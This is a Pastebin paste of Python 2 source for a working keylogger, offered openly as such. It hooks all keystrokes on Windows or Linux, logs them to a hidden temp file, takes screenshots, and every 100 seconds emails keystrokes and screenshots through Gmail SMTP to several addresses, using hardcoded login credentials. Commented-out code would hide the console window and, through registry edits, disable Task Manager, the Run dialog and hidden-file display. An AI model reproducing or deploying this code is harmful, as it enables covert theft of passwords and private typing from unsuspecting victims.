Advertisement
johnmahugu

@prnt_dll - python keylogger working 27-May-16

May 27th, 2016
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.89 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import os,socket,sys
  4.  
  5. # enter killswitch
  6. from datetime import datetime
  7.  
  8. from datetime import datetime as dt
  9. expires = dt(2016,7,8)# enter date in %yyyy,
  10. present = dt.now()
  11. if present > expires:
  12.     #print "oza expired"#killswitch code here
  13.     #print "exiting"
  14.     sys.exit()
  15. else:
  16.     #print "not expired"
  17.     pass
  18.  
  19. # end killswitch
  20. import os, random, smtplib, string, time, threading, datetime
  21. from smtplib import *
  22. import email
  23.  
  24.  
  25. #from email.mime.text import MIMEText
  26. #image grab
  27. from PIL import ImageGrab
  28. #email attachment
  29. from email.MIMEMultipart import MIMEMultipart
  30. from email.MIMEText import MIMEText
  31. from email.MIMEImage import MIMEImage
  32. """
  33. #hide app imports
  34. import win32api
  35. import win32console
  36. import win32gui
  37.  
  38. #hide app
  39. win = win32console.GetConsole()
  40. win32gui.ShowWindow(win,0)
  41. """
  42. if os.name == "nt":
  43.         piattaforma = "windows"
  44.         import pythoncom, pyHook
  45. if os.name == "posix":
  46.         piattaforma = "posix"
  47.         import pyxhook
  48.         #You can found it here: http://pastebin.com/J4JSrHZR
  49.  
  50. def generate_random_string(low,high):
  51.         length=random.randint(low,high)
  52.         letters=string.ascii_letters+string.digits
  53.         return ''.join([random.choice(letters) for _ in range(length)])
  54.         rand_gen=random_string()
  55.         return rand_gen
  56.  
  57. global logfile
  58.  
  59. if piattaforma == "posix":
  60.         logfile = "rpd.txt"
  61. if piattaforma == "windows":
  62.         temp_path = os.getenv('TEMP')
  63.         logfile = temp_path + "\\logs" + generate_random_string(10,15)
  64.  
  65. f = open(logfile,"a")
  66. f.write("")
  67. f.close()
  68.  
  69. if piattaforma == "windows":
  70.        
  71. # --------------- Anti's - Protection  ----------------- #
  72.         def Antis():
  73.             '''
  74.            os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1  /f")
  75.            os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")
  76.            os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f")
  77.            os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 2 /f")
  78.            os.system("attrib +a +s +h %windir%\regedit.exe")
  79.            os.system("attrib +a +s +h %windir%\system32\regedit.exe")
  80.            '''
  81.             pass
  82. # ------------------------------------------------------ #
  83.         def keylogger():
  84.                 def OnKeyboardEvent(event):
  85.                         if event.Ascii != 0 or 8:
  86.                                 f = open(logfile,"a")
  87.                                 keylogs = chr(event.Ascii)
  88.                                 if event.Ascii == 13:
  89.                                         keylogs = "\n"
  90.                                 f.write(keylogs)
  91.                                 f.close()
  92.  
  93.                 # create a hook manager
  94.                 hm = pyHook.HookManager()
  95.                 # watch for all mouse events
  96.                 hm.KeyDown = OnKeyboardEvent
  97.                 # set the hook
  98.                 hm.HookKeyboard()
  99.                 # wait forever
  100.                 pythoncom.PumpMessages()
  101.  
  102. if piattaforma == "posix":
  103.         def xkeylogger():
  104.                 def OnKeyboardEvent(event):
  105.                         if event.Ascii != 0 or 8:
  106.                                 f = open(logfile,"a")
  107.                                 keylogs = chr(event.Ascii)
  108.                                 if event.Ascii == 13:
  109.                                         keylogs = "\n"
  110.                                 f.write(keylogs)
  111.                                 f.close()
  112.                              
  113.                 # create a hook manager
  114.                 hm = pyxhook.HookManager()
  115.                 # watch for all mouse events
  116.                 hm.KeyDown = OnKeyboardEvent
  117.                 # set the hook
  118.                 hm.HookKeyboard()
  119.                 # wait forever
  120.                 hm.start()
  121.  
  122. def mailsender():
  123.         username = 'logtuma@gmail.com'
  124.         password = 'staff@725138'
  125.      
  126.         mittente = 'rapidspace9@gmail.com'
  127.         ricevente = 'logtuma@gmail.com,tumabaruapepe@gmail.com'
  128.  
  129.         while 1:
  130.                 time.sleep(100)
  131.                
  132.                 fo = open(logfile, "r")
  133.                 keylogs = MIMEText(fo.read())
  134.                 fo.close()
  135.                
  136.  
  137.                 msg = MIMEMultipart()
  138.                 msg['Subject'] = 'Logged keystrokes'
  139.                 msg['From'] = mittente
  140.                 msg['To'] = ricevente
  141.              
  142.                 try:
  143.                         myhost = socket.getfqdn()
  144.                         fromaddr = "tumabaruapepe@gmail.com"
  145.                         toaddr = "logtuma@gmail.com,jjukumu@gmail.com,tumabaruapepe@gmail.com"
  146.                         msg = MIMEMultipart()
  147.                         msg['From'] = fromaddr
  148.                         msg['To'] = toaddr
  149.                         msg['Subject'] = "kill switch lgr machine : "+myhost
  150.                         body = str(keylogs)
  151.                         msg.attach(MIMEText(body, 'html'))
  152.                         ImageGrab.grab().save("x.jpg", "JPEG")
  153.                         fp = open('x.jpg', 'rb')
  154.                         img = MIMEImage(fp.read())
  155.                         fp.close()
  156.                         msg.attach(img)
  157.                         server = smtplib.SMTP('smtp.gmail.com', 587)
  158.                         server.ehlo()
  159.                         server.starttls()
  160.                         server.ehlo()
  161.                         server.login("logtuma@gmail.com", "staff@725138")
  162.                         text = msg.as_string()
  163.                         server.sendmail(fromaddr, toaddr, text)
  164.                         """
  165.                        #s = smtplib.SMTP_SSL('smtp.gmail.com:587')
  166.                        #s.login(username,password)
  167.                        #s.sendmail(mittente, [ricevente], msg.as_string())
  168.                        #s.close()
  169.                        """
  170.                         print "Successfully sent email"
  171.                         #print temp_path
  172.                         print keylogs
  173.                         # Open a file
  174.                        
  175.                         fo = open(logfile, "w+")
  176.                         fo.write( "keys logged :\n-----------------------------------------------------------\n");
  177.                         # Close opend file
  178.                         fo.close()
  179.                        
  180.                        
  181.                 except Exception, a:
  182.                         print a
  183.  
  184.              
  185. if piattaforma == "windows":
  186.         thread1 = threading.Thread(name="sic1", target=keylogger)
  187. if piattaforma == "posix":
  188.         thread1 = threading.Thread(name="sic1", target=xkeylogger)
  189.  
  190. thread2 = threading.Thread(name="sic2", target=mailsender)
  191.  
  192. thread1.start()
  193. thread2.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement